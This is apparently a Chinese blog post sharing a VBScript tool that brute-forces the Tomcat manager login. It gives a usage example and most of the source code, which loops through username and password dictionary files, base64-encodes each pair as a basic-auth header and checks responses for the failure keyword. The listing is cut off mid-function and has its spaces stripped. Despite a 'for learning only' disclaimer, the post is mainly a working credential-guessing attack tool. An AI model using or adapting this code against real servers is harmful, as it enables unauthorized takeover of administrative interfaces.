Tomcat后台暴力破解工具,仅供学习之用。
转载请注明出处:
QQ:540410588
blog:http://hi.baidu.com/540410588
使用示例如下:
cscriptcrack.vbs-lhttp://localhost:8080/manager/html/-s401
结果
源代码如下:
OnErrorResumenext
ConstsBASE_64_CHARACTERS="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
Dimurl,user,pass,search
setarg=wscript.arguments
If(LCase(Right(Wscript.fullname,11))="Wscript.Exe")Then
Wscript.Quit
EndIf
ifarg.count=0orarg.length<>4then
Calluseage()
Wscript.Quit
Else
Callinit()
EndIf
'-------------------------------使用说明-------------------------------------------------------
Subuseage()
wsh.echostring(79,"*")
wsh.echo""
wsh.echo"TomcatCrackv1.0"
wsh.echo"Madeby孤水绕城justfortest!!!"
wsh.echo"QQ:540410588Blog:http://hi.baidu.com/540410588"
wsh.echo""
wsh.echo"注:此工具作为暴力破解用户名密码之用,条件是没有认证码做验证"
wsh.echo"Usage:"
wsh.echo"cscript"&wscript.scriptname&"-l(接收用户名密码的url,需要tomcat完整路径)-s(返回错误信息关键字)"
wsh.echo"示例如下:cscript"&wscript.scriptname&"-lhttp://localhost:8080/manager/html/-s401"
wsh.echostring(79,"*")&vbcrlf
EndSub
'-------------------------------使用说明-------------------------------------------------------
'-------------------------------读取参数-------------------------------------------------------
Subinit()
Dims
Fors=0Toarg.length-1
If(arg(s)="-l")Then:url=arg(s+1):EndIf
If(arg(s)="-s")Then:search=arg(s+1):EndIf
Next
IfTrim(url)<>""AndTrim(search)<>""Then
Callmain()
Else
Calluseage()
wscript.quit
EndIf
EndSub
'------------------------------该部分用于读取user和pass字典并暴力破解----------------------------------
Submain()
Dimbase
Dimpath,length,fullpath,scriptName,userStr,passStr,result,postStr
fullpath=wscript.ScriptFullName:length=InStr(fullpath,scriptName):path=Mid(fullpath,1,length-1)
Setfso=CreateObject("Scripting.FileSystemObject")
Iffso.fileExists(path&"user.txt")Andfso.fileExists(path&"pass.txt")Then
Setotfuser=fso.OpenTextFile(path&"user.txt")
DoWhileotfuser.AtEndOfLine<>True
userStr=otfuser.readLine()
userStr=RegReplace(userStr,"[\s]+","")'去除多余空格
If(userStr<>"")Then
Setotfpass=fso.OpenTextFile(path&"pass.txt")
DoWhileotfpass.AtEndOfLine<>True
passStr=otfpass.readLine()
wsh.echo"Checking......"&userStr&"------"&passStr
postStr=Base64encode(userStr&":"&passStr)
result=getHTTPPage(url,postStr)
If(InStr(1,result,search,1)<1)Then
wsh.echo""
wsh.echo"GoodJob!!!"&vbcrlf&"YouHaveFoundTheResult"&vbcrlf&"username:"&userStr&"-------password:"&passStr
wscript.quit
EndIf
loop
EndIf
Loop
wsh.echo"SorryIcan'tFindTheResult,PleaseExpandTheDic."
Else
MsgBox("请确定user.txt和pass.txt放在"&path&"文件夹中")
wscript.quit
EndIf
Setotfuser=Nothing
Setotfpass=Nothing
Setfso=Nothing
EndSub
FunctionRegReplace(ByValstr1,ByValpatrn,ByValreplStr)
DimregEx
SetregEx=NewRegExp
regEx.Pattern=patrn
regEx.MultiLine=True
regEx.IgnoreCase=True
regEx.Global=True
RegReplace=regEx.Replace(str1,replStr)
setregEx=Nothing
EndFunction
'------------------------------该部分用于读取user和pass字典并暴力破解----------------------------------
'------------------------------该部分用于提交数据----------------------------------------
functiongetHTTPPage(url,postStr)
dimHttp
'setHttp=createobject("MSXML2.XMLHTTP")'用这个组件报错
setHttp=createobject("MSXML2.serverXMLHTTP")'这个组件才成
Http.open"GET",url,False
Http.SetRequestHeader"Content-Type","application/x-www-form-urlencoded"
Http.setRequestHeader"Connection","Keep-Alive"
Http.setRequestHeader"Cache-Control","no-cache"
*
* |